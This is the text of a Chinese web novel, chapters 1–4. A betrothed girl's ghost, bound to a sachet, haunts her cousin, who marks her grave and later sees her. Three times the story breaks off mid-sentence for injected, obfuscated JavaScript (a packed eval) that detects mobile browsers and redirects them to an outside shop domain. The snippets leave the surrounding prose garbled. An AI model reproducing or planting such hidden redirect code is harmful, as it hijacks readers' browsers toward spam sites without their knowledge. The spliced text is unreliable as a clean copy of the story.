《重生后她位列三公》 1. 身死 眼前一片黑暗,何怀幸从混沌中醒来,身体感觉被什么东西束缚着,意识还没有完全清醒。 她挣扎了一下,天旋地转间,束缚的感觉消散,眩晕之际,她下意识伸手寻找支撑点,然而并没有触摸到可以依靠的东西。 她现在头晕眼花,踉跄了一步,堪堪稳住了身形,她闭着眼睛,等待晕眩感缓解过去。 何怀幸没有发觉,她伸手向后时,她的手穿过了身后的桌案。 屋内没有点灯,窗外月色如许,透过窗棂漏进来小片月光在地上,如秋霜般洁白。 何怀幸晃了晃脑袋,感觉好多了,睁开眼睛,借着窗外的光亮,看清了屋内的陈设。 屋子并不大,一眼便可将其尽收眼底。 很素简的一间屋子,不远处的圆桌上放着简陋的茶具,往前是一张床榻,床铺收拾得整整齐齐。 她转过头走过去,前面书案上摆放着许多书,大多是兵法,论战之类,也有一些文史雅集。 这间屋子总给她一种熟悉的感觉,有点像她以前住的那间屋子,不过她屋内的陈设,比这间更有生活气息。 光线不好,她也只能看个大概,看不清细节。 正当思索之际,她忽然瞥见,书案一角,藏着个香囊。 何怀幸才恍然想起,这不是她送给二表哥的香囊吗?怎么会在这? 她知道这间屋子是谁的了——是修令曦的! 何怀幸心里一激,怎么会是他? 她怎么会在他的厢房内? 怪不得屋里陈设跟她的那么像,怪不得她觉得眼熟,原来是他的屋子。 将军府除了他们两个人,还有谁住这么简陋的地方。 她为什么会出现在这,为什么会在将军府,她不是已经出嫁了吗? 等等,不对,不对。 何怀幸这才想起来,她不是死在出嫁的路上了吗? 难道她复活了? 可是她为什么会在她表哥的房里? 她走过去,想拿起那只香囊。 然而,她看见自己的手直接穿透了香囊,穿透了实木的书案。 她的手,她的身体,穿过书案,触碰不到任何东西。 何怀幸不敢置信,她的手在发抖,简直无法接受眼前如此诡异的一幕。 她发泄似的胡乱挥动着双手,只是书案上的书纹丝不动。 何怀幸发疯一样在屋子里乱走一通。 世上真的有鬼魂一说吗? 何怀幸不知道,但她最怕这些神神鬼鬼的东西了。 从前想起以往听过的志怪鬼事,她会吓得缩在被褥里,像只胆小的老鼠,夜里尿急憋狠了,也不敢去如厕,只能死死咬着嘴唇,裹在被子里偷偷掉眼泪,然后几乎一夜无眠,等到天光微晞,套上衣服一路小跑去茅房。 如果让她亲眼看见鬼魂,她大概会吓得失声,然后当场晕过去。 可是,现在不信也得信了。 因为鬼魂的脸,正清清楚楚映在窗台下那面铜镜中,她将那人的脸看得一清二楚。 女鬼长得并不出众,胜在长了只秀挺的鼻子,小脸白净,瞧着倒也算清秀。 她画着婉约的远山眉,眉心贴了宝相花钿,各式金钗流苏插满头。 这是谁? 这是她? 满脸的红胭脂也盖不住她惨白的脸色。 何怀幸浑身颤抖,她一只手捂着头,半刹那间,突觉天旋地转,头晕眼花。 她当然发现了,她伸出手时,她的手穿过了身前的桌案。 真的不是她眼花。 心口顿疼,记忆接踵而来。 她才认清现实,她已经死了,死在了出嫁的路上,被一把大刀直直贯穿胸口。 她茫然又悲伤地抚摸着消失的刀伤,看着自己透明的身躯,不敢相信。 何怀幸像泄气的皮球,感到无力,可能她不得不接受现实。 ——她真的已经死,现在的她只是一个灵魂。 可到底是什么契机,让她以这样的形态出现在这里? 为什么,她的灵魂会出现这里,不应该是在她死去的地方,或者她自己生前住的地方吗? 何怀幸不解,她朝门外走去,才走出几步,就有一股强大的能量,将她吸附住,使她无法继续前进。 怎么回事? 何怀幸又试了几次,发现她根本无法踏出这间屋子。 她不甘心,执拗地往门口冲,还是被限制了,她挣扎不了。 吱嘎—— 房门被打开。 从宽大的袖袍里,伸出一双修长白皙的手稳稳扶在门框上,青绿衣衫衬得他身形似竹,瞧着气质温其如玉,完全不像个习武之人。 是修令曦回来了。 他披着满身月光走进来。 何怀幸心慌得厉害,下意识想找个地方躲藏,一时之间忘记自己是个已死之人,如今不过是一只无实体的鬼魂罢了。 修令曦合上门,何怀幸还没来得及有动作,眼见他直直穿过她,走到书案前坐下。 何怀幸愣在原地,没有动。 她没有任何感觉。 不知道为什么,她刚刚一直不觉得有什么难过的。 她本就是被迫出嫁,在送亲的路上,被盗寇一刀捅死的时候,她尚存一丝念头,觉着死了挺好,起码不用嫁给自己连面都没见过的人。 她觉得,那是她的命。 直到现在看见修令曦,看到一个熟悉的,活生生的人,那么有生气地站在她面前,从她面前走过。 她突然感到难过,她还是想活着的。 活着就会有无限可能,活着就可以吃很多好吃的。 活着或许艰难,但只要活着,终有一天,她一定可以走出一条自己的路。 成功也好,失败也好,只要活着就好。 可是,她死了,变成了一个透明的灵魂,谁也看不见她,谁也不会记得她。 眼泪毫无征兆落下来。 她再也没有重来的可能。 何怀幸没法判断现在是什么时候,也不知道自己已经死了多久了。 红烛的火焰照亮小屋,她回过身,泪眼婆娑看着修令曦在书案前坐下,见他取出镇纸,铺陈纸笔,起手研墨,预备写什么。 她含着眼泪走近,他似乎在写什么东西。 何怀幸走得更近些,站在修令曦的身旁。 这时修令曦却突然抬了下头,甚至看了眼身侧,好像感觉到身边有人靠近似的。 何怀幸呼吸一紧,身体紧绷,生怕他能察觉出什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349319|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>怕他察觉,又同时希望他察觉。 直到他提笔沾墨低下头继续写字,何怀幸悬着的心才落下。 她松了口气,有些失落,黯然惆怅起来。 如果他能察觉到她的存在也好,虽然何怀幸生前觉得二哥是一个讨厌鬼。但这偌大的将军府,起码还能有个人记得她,能留下她在这世上存在过的痕迹。 何怀幸没法判断现在是什么时候,她还穿着那身嫁衣,也不知道自己已经死了多久了,怅然若失的心绪始终飘忽在心头。 他貌似在画兵法阵图,何怀幸不懂,但站在他左手边看得认真。 之后他又给他的老师写信,何怀幸靠自学识得几个字。 修令曦的字迹工整,完全不似武将大刀阔斧般的潦草笔法,每一个字,字形饱满,雄秀端庄,行文间风棱秀出,风格多半是受他老师段蘅的影响。 何怀幸一个字一个字看下去,她识字有限,有些要靠猜,所以她看得很慢。 信中写道: “敬叩,吾师安,今日回府方得知表妹身死,学生心中五味陈杂。原本婚嫁之喜,转头成了她的忌日。老师人生如此无常,实在教人难受。不受父亲待见的那些年,府中人对我避之不及,她却时常来看我,好言劝慰。那时学生心中郁闷,冷眼相对,不曾与她说过什么好话,思及于此,悔不当初。” 看到这里,何怀幸目光一顿,心中酸涩,情绪翻涌,往事历历在目。 难得她这位二哥居然还会记挂她,对现在的她来说,也勉强算有所慰藉了。 她继续往下看,她的身体不知不觉已经穿透了修令曦半个身子。 “另学生听闻近日蛮夷边部,又时常骚扰边境,这些年他们屡屡侵犯,伺机而动,学生恐他们暗中早有谋划,或许须提醒朝中加强防范。此事我已告知过父亲,但父亲否决了我的想法,认为区区边部小族无惧。” 书写完这一段,修令曦停笔添墨,他的右手掌食指关节处,有一颗浅浅的痣。 他皮肤本就偏白,那双手在灯下更显白净,衬得那颗痣格外突出。 何怀幸瞧着,越发觉得别致,眼神跟随那颗不大不小的痣,回到信纸上。 “学生始终心有不安,蛮夷边部虽为小族,但骁勇善战,常年在马背上,他们的骑兵不可不防,依学生之见,应当早做防范,加强边关防守,以备不测。渐已入冬,夜间多寒,学生亦知老师公务繁多,忧心民生,夜夜少睡眠,还请老师入夜勿忘加衣,千万珍惜身体。” 修令曦提笔落款—— 学生修云頫顿首,惠仁十六年十月二十一日,夜。 这是她死后的第四天。 惠仁十六年十月初八她及笄礼。 舅母送了她一支白玉莲花簪,让厨房单独给她做了桌丰盛的饭菜。 及笄的第二日,舅母便和她说了出嫁一事。 尽管她不愿意,也只能接受这样的安排。从小寄人篱下,她没有反抗的资格。 舅母说虽是续弦,但对方也只比她年长七岁,那人还是岭南富商,必不会亏待她。 富商来下聘,聘礼给的十分丰厚,将军府简单操办了她的送嫁。 惠仁十六年十月十四日,她上了花轿。 惠仁十六年十月十七日,她死在出嫁的路上。 2. 立碑 修令曦将信封封口,放至一旁,瞥见一角的香囊,起身拿过来,香囊绣的不算精致,里面的艾叶闻起来馨香,带着微微苦涩,清新怡人。 何怀幸下意识侧身让他,发现自己已经穿过他半个身子了,连退了好几步。 这是他十岁生辰,何怀幸送他的生辰礼,绣线和艾草是她特意去自在观,向一位老道长求来的,花了不少钱,说是在祖师爷座下供过香火,能驱邪,保平安。 烛火跳跃,他的目光停滞在香囊上,修令曦低头盯着手里香囊看,摩挲着上面密密匝匝的绿色绣线。 烛光下,修令曦捏着手中的香囊,不知道在想什么。 随后他起身朝门外走去,何怀幸想跟上去,可是她出不去,只好作罢。 等到他回来,何怀幸发现他抱着一块木板,拎着一把小锄头。 何怀幸没看懂他的意图。 他把木板擦干净,抽出一把小刀,犹豫了半晌,才动手。 修令曦坐在圆桌旁,用小刀在上面刻着什么,上面覆盖着木屑,她看不清刻的什么。 屋内很安静,蜡烛静静燃烧,一人一魂都不说话,只有刀刻在木头上的声音。 修令曦拂去木板上的木屑,将木屑清扫干净,来到书案边,提笔沾墨,沿着刻好的字迹慢慢描摹。 字样初显,何怀幸一字一顿,念道:“吾、妹、何、怀、幸、之、墓。” 下方是她的生卒年:惠仁二年十月初八至惠仁十六年十月十七日。 立碑人的名字写了他自己。 黑色的墨水一遍遍渗透进木料里,与之融为一体,明晃晃的几个大字,在烛火下亮得刺眼。 何怀幸觉得心脏空了的那一块,痛得厉害,她攥紧心口的衣服,呼吸变得沉重。 等墨水干的间隙,修令曦找了根白色布条,墨水干了之后,他将木牌包起来,把信连同布条一起揣在怀里,带上从柴房偷出来的小铁锄,准备出门。 走到门边,他停住了脚步,突然回头,何怀幸望进那双漂亮的眼睛,心突突地跳。 极其短暂的对视后,何怀幸侧身顺着他的视线落在书案的香囊上。 他带上了那只香囊,没有别在腰间,而是揣在怀里。 他似乎没有佩戴腰饰的习惯。 何怀幸回想了一下,确实好像没有看见他腰间别过什么饰物。 门被合上,她正犹豫要不要再尝试一次,就被那股熟悉的吸附力带出去了。 她穿过门,跟着在修令曦身后。 何怀幸奇怪,怎么这次就能出来了。 她又尝试往其他方向走,结果还是那样,只有一小圈的活动范围。 那她活动范围改变的契机是什么? 首先排除修令曦,一开始她只能在书案附近徘徊,就算他出去了,她的活动范围还是没有改变。这回他出来了,她也被动跟着出来,而活动范围只能在他的周围,这是为什么? 她在脑海里不断复盘,查找遗漏的细节。 除了修令曦,唯一改变位置的,是香囊! 香囊的位置改变后,她的活动范围也变化了。 所以,她是以香囊为中心活动,香囊在哪,她就在哪,香囊是她的载体。 修令曦直接从侧院门翻出去了,看他那轻车熟路的样子,想必已经不是第一次了。 他走得很快,何怀幸有时跟不上,便会被那股吸附力拉近他身边,整个灵魂都扭曲了,那感觉实在不好受,所以她得尽量跟上他的步伐。 到了相府,修令曦将信给了小厮。 “夜已深,我就不叨扰了,烦请告知老师,今夜我有事出城,明日午时回来陪老师用膳。多谢。” “是,公子。” 小厮自是认得他,将军府的公子,拜入他家大人门下后,这几年常出入府里,况且他长相又出众,想忘记都难。 他借了匹马,小厮替他牵了马来,修令曦翻身上马,腿部一夹,马腹受力,马儿便跑起来。 他必须赶在城门关闭前出城。 “驾!” 少年的身影如风,与夜色融合。 何怀幸心如死灰了,果然她没走两步便被吸附力拉近,靠近后力量消失,又走两步,又被吸附。 这感觉实在太难受了! 就这么循环反复,直到京都城外山郊脚下,修令曦才勒马停下。 何怀幸整个人瘫软了,修令曦将马绳绑在树干边,往山上去了,她蔫头耷脑跟在他身后。 索性她是只灵魂,不需要避让那些树啊杂草什么的,径直走就行。 修令曦借着林间疏漏的月光,轻巧避开丛棘。 山坡不高,很快就到顶了。 在西南边的松树下,一个土坡上用石块压着张平安符,月色铺在四周。 今日傍晚他从老师府邸回来,听到那些丫鬟婆子私下议论,方才知道他那位表妹逝世了。 下人们见他,略略行礼,噤声散开,自顾自做自己的事。 虽然这些年他不受将军待见,待遇一落千丈,但怎么说也是将军府的公子,如今又是丞相大人的门生,前途自是不差的,下人们也不敢再和从前一样对他。 他私下找了个嬷嬷,使了几个银钱,问清楚事情的始末。 婆子说完,嗟吁道:“表小姐也是个可怜人,造化弄人啊,当初若不是她母亲那般,这些年也不至于如此,现在死了连个送葬的人都没有。” 修令曦问道:“嬷嬷可知葬在何处?” “知道,赶巧夫人派去的是我那不成器的儿子,就埋在京郊十里外的山坡上,西南边一棵松树下面。坑一挖,尸体一扔,土一盖,连块牌也没让立,这跟孤魂野鬼有什么区别?我儿心善给压了张符,那符是我从自在观求来,给他保平安的,结果他倒好,自己不戴,留在死人坟上。” 她重重叹了口气,说:“人都去了,放张平安符有什么用呢!” 他道了谢,有些失神,往自己的院子里去了。 那嬷嬷幽幽叹气,这也是个可怜人,从小没了娘,现在爹又不疼,孤孤零零的。 这高门大户,有时还不如他们这些人,穷苦是穷苦,可温情也是实实在在的。 人这一辈子图什么呢?不就图一家人幸福的在一起,心里有个归属。 她摇摇头走了,身影慢慢消失在连廊里。 他才知道,原来她的死讯是昨日才传回来的。 而人早在前几日,就横死途中。 何怀幸总感觉阴风飕飕的,尽管她没有实体,还是下意识选择靠近修令曦。 修令曦似乎没什么感觉,他在额头绑上白色布条,用铁锄挖了条道,把木牌放下去,然后用土盖住。做完这些,又从周围收集了一些土,加高了土坡。 平安符还是压在上面,月光落在修令曦的肩头,他手上沾满了泥土,拍了拍手上的灰,他掏出香囊,犹豫是否要把它留下。 他把香囊收回怀里,看了眼这座坟墓,最后转身下山了。 “居然也不拜拜我。” 何怀幸嘟囔了一句,自己朝自己拜了拜,然后连忙跟上修令曦,在他身后很不客气挥着拳头。 他像是有所感应,回过头,愣住了。 少女穿着红嫁衣,月色下,金钗步摇,粉面桃腮,额间宝相花钿,鲜艳如血。 她双手挥拳,不高兴地撅起嘴。 朦胧间,鬼灯一线,如见桃花面。① 风一动,树叶沙沙作响,他再定睛一看,眼前空空荡荡,何曾有过伊人身影再现。 他再次回头,透过何怀幸透明的身体,看向她的坟墓,月光落在墓碑上,身后空无一人。 寒夜风动,修令曦额头上绑着的白色孝布猎猎乍响。 万籁俱寂,只有一轮孤月独照,尽显凄凉。 修令曦定定立在原地,半晌,扭头离去。 何怀幸动作停滞,眨了眨眼,放下拳头,回头看向自己的坟墓,低声道:“算了,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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营中将士们围着篝火,一旁空地有两位将士在比武切磋,众人纷纷喝彩。 统领便道:“难得公子过来,不如也切磋一番,让大家长长见识。” 修令曦岂会不知他的小心思,明为切磋,实为试探。 他道:“两位将军言过了,诸位将士都是久经沙场,实战经验丰富,又岂是我这种鱼鱼鹿鹿之人能比的。” “二公子无需自谦,切磋本意也是双方比较技艺,不断进步的过程,点到即止。” 参军在前引路:“请。” 自从修令曦正式入了相府门下,加上他和父亲离心,久不入军营,许多猜测就没断过。 父亲一向不喜文臣,对他老师段相更是厌恶,人尽皆知。 早些年父亲喜好风流,曾被任御史的段蘅当众弹劾,让他下不来台。加上这些年,陛下子嗣艰难,父亲有意向四王爷靠拢,两人政见不合是家常便饭。 军中传他背弃自己的父亲,投靠政敌,有悖孝义,更有违父子之道,是不孝不仁之举,而关于他弃武从文,将来不做武将的流言也是传遍军中。 他知道,这其中或许有父亲的手笔,父亲想断了他从军的路,为大哥和三弟铺路。 修令曦从小跟在父亲身边,立誓要做一方将领,护卫百姓,父亲怎么可能不知道他的志向。 可他还是这么做了。 既然如此,那他必然不能放过这次机会,今夜正好借此堵一堵那些人的嘴。 修令曦跟在统领、参军后面走近观战。 身后篝火烧得火星噼啪响,何怀幸站在他身边,少年眉目清秀,这两年渐渐长开了,少了几分稚气,也多了些从容。 营中难得有新面孔,还是位俊俏的小公子,将士们纷纷好奇围过来。 3. 承诺 修令曦将宽大的衣袖绑紧,方便比试切磋。 他一手背在身后,袖口紧绷,身立如松。 黄统领拍拍手,高声道:“这位是将军府的二公子,大家还记得不,好几年前来过这,咱们二公子现在是越厉害了。” 一个高个的将士道:“就是那个漂亮的小公子啊,记得记得。” 众将士哄笑,另一人道:“你就记得漂亮的。” 也有人怀疑,说:“长得这么俊俏,能打吗?” 统领大笑后道:“大家可不要小瞧了我们这位二公子,少时也是跟在我们将军身边上过沙场的人。” 参军也听见了那人的话,便说:“那你就来试试,与二公子切磋切磋。” 那人梗着脖子,不客气道:“来就来,输了可别哭鼻子啊。” 所有人笑成一团。 何怀幸皱了皱眉头。 修令曦对这样的场面早已料到,微微笑着,朝统领和参军颔首,便走上前。 “点到为止。” 他朝对方做了一个请的手势,对方似乎很着急证明自己,迫不及待出招。 香囊在修令曦怀里,她不能离他太远,守在修令曦边上,看两人打拳。 修令曦出拳如风,每一拳都打在关键部位,打得很实,可谓拳拳到肉。 他的拳法很漂亮,让人眼花缭乱,不多时对方便败下阵来。 在场自然有人看不惯他这样的打法,营中便有老将出马,喝道:“花拳绣腿,拿我枪来!” “我去!我去!” 输了的那位将士屁颠屁颠地去拿枪了。 事实上修令曦是手下留情,给他留了几分面子,故意为之,否则对方接不了他几招就得下场。 这五年来,他在覃鎏跃那可不是白学的。 而且他也不想太过于张扬,能到达到他的目的就行。 对面甩过来的长枪,力道极重,他在手里掂了掂,还算称手,使枪他最在行了。 老将的力道勇猛,枪法凌厉,招招直逼要害,不愧是久经沙场的人。 两人打得难舍难分,因为使长枪的缘故,何怀幸又不想躲在后面,有时避之不及,对面的长枪便直戳她心口。 她害怕。 好像又回到了那天,大刀穿透她的身体,她的眼前只有一片鲜红色。 修令曦身姿矫健,老将也不甘示弱,双方出招毫不拖泥带水。 何怀幸在修令曦身后,东躲西藏,狼狈至极。 场上的人打得酣畅淋漓,周围看的人也是热血沸腾,营中很久没有这么带劲的切磋了。 时间一长,老将体力不支,落了下风,很干脆的缴械认输了。 尽管输了,他却看起来很开心,道:“后浪推前浪啊,老了老了,不如你们年轻人了。” 修令曦拱手道:“您承让了。” 这话是实话,如若不是对方体力跟不上,他也未必能赢。 老将摆摆手,哎了一声,道:“什么话,输了就是输了,武将就该坦坦荡荡,怎能怕输,况且还是输给自己人。你小小年纪有如此造诣,是我军之幸事。” 他脸上带着笑,眼底浑浊,似回忆道:“想当年我还是打先锋的呢,你小子,有我当年风范,不愧是将军的儿子,有种,好样的!” 老将心中感慨万千,重重拍了几下他的肩膀。 修令曦肩膀一沉,好像肩膀上不只是那双布满老茧的手,还带着某种使命。 何怀幸立在修令曦身边,一时忽感悲凉。 生老病死,谁都难逃一劫。 看着眼前这一幕,统领和参军百思不得其解,不是传闻二公子不愿吃行军的苦,投靠将军政敌,一心想吃软饭吗? 从他这身功夫来说,怎么看都不像是那么回事。没有一日日苦练,稳扎稳打,这样的身手决计练不出来。 待几场切磋过后,统领让人收拾出了一个营帐给他住,又同他客气了一番。 修令曦点头,但笑不语。 她跟着修令曦进了帐篷里,虽然简陋,但内里也算齐全。 修令曦走到案几边坐下,翻了翻上面的一本《圣国兵阵图》,这是他祖父的著作,这些年父亲行军布阵,多参考这本书。 可应该做出改变了,行军打仗怎能一味循旧例。 近些年打蛮夷边部越来越吃力,对方已经摸清了我军习惯,父亲却还一味按照以前的方法,就算人数上有优势,也不过是让将士们枉送性命。 比起父亲的执着,双家军更懂得如何变通,多年驻守乌城,打得蛮夷边部不敢轻易骚扰。 反观边境各城,受其侵扰不堪。 修令曦将书放下,烛火在他眼里跳动,神情讳莫如深。 何怀幸不知他在想什么,她有些疲累,幽幽叹了口气,生前凄凄然,怎么死后也不得安宁。 修令曦环顾四周,营帐中明明只有他自己,可是他怎么听见有女子的叹息声。 是幻听吗?还是…… 他心中警戒,起身走出营帐,何怀幸不明所以跟着他绕营帐走了一圈,又回到了账中。 外面也没人,难道真的是自己听错了? 修令曦微微皱眉,或许是他疑心过头了,心想算了,大概是今夜有些累,早些歇息吧。 他简单洗漱完了,躺在榻上,和衣而睡。 何怀幸也累了,跑了一晚上,飘飘忽忽的,魂影消失不见。 等到醒来的时候,已经在将军府了。 厢房门口,除了她表哥,还有她的舅舅——修文,修大将军。 “你昨夜去了京郊营?” 修令曦恭恭敬敬答是。 “谁允许你去的!” 修文狠狠踹了他一脚,修令曦爬起来,重新跪在地上。 “不要以为我不知道你心里的小算盘,你简直和你娘那个贱蹄子一样,满肚子算计。早就警告过你,没有本将的允许,我麾下所有军营你一律不得踏足,你竟然还想妄图染指修家军。” “一个贱妇生的种,也配继承我的位置!” 父亲早就严令禁止他去军营,连校场也不许他去,也不允许部下和他私下接触。 “父亲!我也是您的孩子。”修令曦喊了一句,他垂着头,面带悲怆地说:“母亲生前对您万分尊重,您何苦还要在她死后折辱于她……” “闭嘴!说了多少次,别叫我!你不配!”修文暴怒,喝道:“自己去祠堂跪着!领二十鞭家法!” 说完,修文便转身大步离开了。 香囊在书案上,透过窗棂,何怀幸看见修令曦埋头还跪在地上,他好像在哭。 好一会他才起身回屋。 修令曦合上门,一进来,便看见书案前站着个人。 她穿着泛旧的蓝衣衫,头上别了两朵黄色绒花,露出光洁的额头,两边头发用丝带结鬟,多余的头发搭在肩膀两侧,后面的头发自然垂下。 这是何怀幸未出嫁前,常做的打扮。 青天白日见鬼,闻所未闻。 修令曦喑声问道:“你是谁?” 何怀幸没意识到修令曦在跟她说话。 直到她发现修令曦的眼神有些异样,何怀幸才感觉不对劲。 修令曦又问了一遍:“你到底是谁?!” 何怀幸震惊地指了指自己,不可置信地说:“你在和我说话吗?你能看得见我?” 所以,真的是青天白日见鬼了。 修令曦念出最不可能的那个名字。 “怀幸?” 何怀幸重重点头,眼睛亮起来,说:“是我!是我!” “你不是……” 修令曦很是惊讶,怀疑眼前所见的真实性,一个已死之人回魂,这实在太匪夷所思了。 何怀幸摇了摇头,说:“我不知道,醒来的时候,就是这样了。” 修令曦沉默良久,问:“你什么时候……醒过来的?” 何怀幸答:“昨日夜里。” 修令曦想起昨夜的异常,所以,那不是他的错觉。 “痛吗?”他问。 何怀幸疑惑地看着他:“什么?” “那天的……伤口,还痛吗?” 他听那个嬷嬷说,她是被乱刀捅死的,抬回来的担架上全是血。 嫁衣鲜艳,被血浸透,早已分不清颜色。 何怀幸没想到他会问这个,眼眶一下红了,却说:“不痛。” 还是没忍住,眼泪滑落,何怀幸撇过头,擦掉眼角的泪。 修令曦上前想安慰她,却只抓到一片虚空。 何怀幸双目噙泪,两手一摊,失笑道:“二哥,我不是人,我没有实体的。” 修令曦失神地看着自己的手,穿过她的衣袖。 何怀幸想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349321|199583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起刚刚舅舅对他说的话,问道:“又要去祠堂罚跪吗?” 修令曦收回手,那双漂亮的瑞凤眼半敛着,道:“嗯。” 何怀幸不禁道:“表哥你如今也无需依仗他,何不反抗?” 修令曦没有接话,绕开她,到书案前坐下。 这些年他努力想让父亲回心转意,只要父亲能不讨厌他,哪怕是惩罚,他也甘心承受。 他渴望得到父亲的关注。 可他越是积极表现,父亲好像越厌恶他,远离他。 修令曦低下头,半晌才道:“父亲或许有他的难处。” 何怀幸知道此事多说无用,指着香囊,说:“我现在附在这只香囊上,它在哪,我就在哪。” “香囊?” 修令曦拿起桌面上的香囊,仔细看了看,并没看出有什么特殊的地方,除了针脚有点乱。 何怀幸说:“对,我也不知道为什么,总之就是,没法解释。” 他捏着香囊道:“我记得这香囊是你做的?” 何怀幸点头道:“对呀,我绣了好久呢,手指都被针扎了好几回,二哥你可得好好爱护它。” 她担心修令曦一狠心就把它丢了,毕竟当初送他的时候,他也没多开心,面无表情,连话也不肯同她说一句。 修令曦郑重地说:“我会的。” 他似乎已经坦然接受眼前所见,起身戴上香囊,说:“答应了要去陪老师吃饭,你同我一起去吧。” 何怀幸问道:“那你决定不去祠堂领罚了?” 修令曦正色道:“父亲的命令,我必然遵从,只是我得先去见过老师,待回来再去领罚,不然老师必定生气。” 何怀幸跟着他出去,无奈道:“二哥既然知道你老师会生气,何苦又挨这一遭。” 修令曦抿唇不语。 他不过比她年长一岁,才十六岁的少年郎,却跟一块顽石一样执拗。 路上她忽然想起来那个自在观的道士,说:“香囊里的艾草和用的绣线,当时是从自在观一个老道士那儿买的,二哥你说会不会我现在这样和这个也有关?” 修令曦皱眉,压低了声音说:“艾草可以理解,道观连绣线也卖吗?” 何怀幸叹了口气,说:“那大概是被骗了,买的时候可贵了。” 修令曦安慰道:“他骗你自会有他的报应,别伤心。” 何怀幸点点头,觉得在理。 两人并肩同行,快走到丞相府时,修令曦拐弯后在巷子里停下,此时无人经过。 他思索一阵后,道:“古人说,人死,神魂俱灭。但是你还能保持魂体不灭,依附在物品上。我七岁那年随父亲去边境,当时缴获过一批蛮夷人的禁书,军中有懂蛮夷语的将士解读过。其中有一则故事,就是讲他们本地有一人家,女儿去世后,她母亲还能看见女儿,并且和她对话。就像我们现在这样。女儿的魂灵依附在日日随身带着的弯刀上,这把小刀在女儿去世后,被母亲留下当做念想。” “蛮夷人崇尚冰葬,在人死后,把遗体送往终年极寒的雪山,以此来象征他们想象中的完整和圣洁。之后他们找了祭司帮忙,请出遗体,进行复活仪式。我记得故事的最后是一家又再次团圆了。” 何怀幸一听,顿时打起精神。 修令曦又怕她太过当真,更容易失望,这毕竟是他听来的志怪奇文,其中真假难辨,又道:“事情过去太久,已经无从考证,再者这样的事情,也过于骇人视听,还魂回生,也不像书里说得那么简单,而且很多细节书里面都没有。加上我们的情况,也和他们不一样。” 她的遗体,恐难完存。 “但不管怎么样,我都不会不管你的。”修令曦看着她,认真地道:“找时间我们去一趟观里,看看能不能有一点线索。或许,说不定会有别的转机。” “真的吗?二哥你愿意帮我?” 何怀幸心里燃起希望,更有些惊讶他的态度,从前他一直是对她很冷淡的,根本不会像现在这样子,还找话安慰她,给她讲这么多东西。 “谢谢你,二哥。” 修令曦忽道:“你有想去的地方,尽管告诉我,我带你去。” 据说,人回魂只有七日。 他现在担心的一点是,七日之期到了,她会不会消失。 加上今日,也才剩三日。 他不想再让她有遗憾。 4. 自缚(一) 修令曦到了相府门口,小厮便上前迎他,另有仆人去通报。 “二公子来了。相爷下了朝回来就在等公子来,还特意交代小的们留意。” 修令曦问:“今日老师从宫里回来很早?” 小厮道:“不到巳时就回来了。” 这么早?往常陛下退朝都会同老师再行议事,怎么都要巳时才出宫。 过了垂花门,先前去通报的人行至修令曦跟前,行了一礼。 “二公子,相爷请您先去静亭等他。” “好。” 修令曦便随小厮去了后院花园。 他在亭子里坐下,仆从奉茶上前。 “二公子,请喝茶。” “多谢。” 何怀幸环顾四周,一路过来,发现相府种了不少菊花,黄白相间,花形饱满,很是好看。 丞相府不同将军府的宏伟气派,格外别致,极具雅意。 静亭下是嶙峋的假山,坐落在湖面,连接一座宽阔的竹板桥,园中周围种着芭蕉、紫竹,以及花卉等。 湖面荷花残败,浮萍因风起皱。 何怀幸在亭子里转悠,问:“底下有没有莲藕?” 修令曦答:“有的。” 远远见老师过来,他便下去迎接。 两人在竹桥碰上面。 段蘅已经到了知天命的年纪,数十年来操心国事,头发已经渐染白斑,他穿着一身素袍,稳步而来,举止行动间自带文士儒雅之风。 “云頫。” 修令曦行了一礼,喊了句:“老师。” “昨夜的信我已看过,逝者已矣,切勿自责,节哀。”段蘅托住他的手,待他直起身,问道:“几日不见,可好?” “多谢老师关怀,学生一切都好。”修令曦和老师并行,扶着他,关心道:“老师身体安否?” 段蘅微微点头,说:“好着呢。走,上去。可见过你覃师母了?” 何怀幸默默跟在修令曦身后,小声道了句:“云頫?” 不料,修令曦微偏头,还给她解释,说:“是我的字。” “什么?”段蘅没听清,以为在和他说话,温声问道:“云頫,你刚刚说什么?老师没听清,可否再说一遍?” 何怀幸看着修令曦,连忙闭上嘴,不敢再说话。 她本是随口一念,没想到二哥竟然回她的话。 修令曦不好意思地说:“无事老师,是学生失言。我刚刚说的是师母做的饭好吃,话说起来几日没同老师一起用膳了,颇有些想念。” 段蘅笑着拍了拍他手臂,慈蔼道:“你这孩子,我竟不知道你也是个贪吃的。怎么从你覃师父那回来还变得客套起来,想来尽管来就是,你我师生多年,何需在意那些礼节。你来,老师心里很高兴。” 修令曦展颜一笑,回道:“好,能常伴老师身边,学生心中也万分欣喜。” 上静亭的石阶路很窄,修令曦在老师身后小心搀扶他上去,期间他回头看了眼怀幸。 何怀幸对上他的眼睛,朝他摆摆手,示意不用管她。 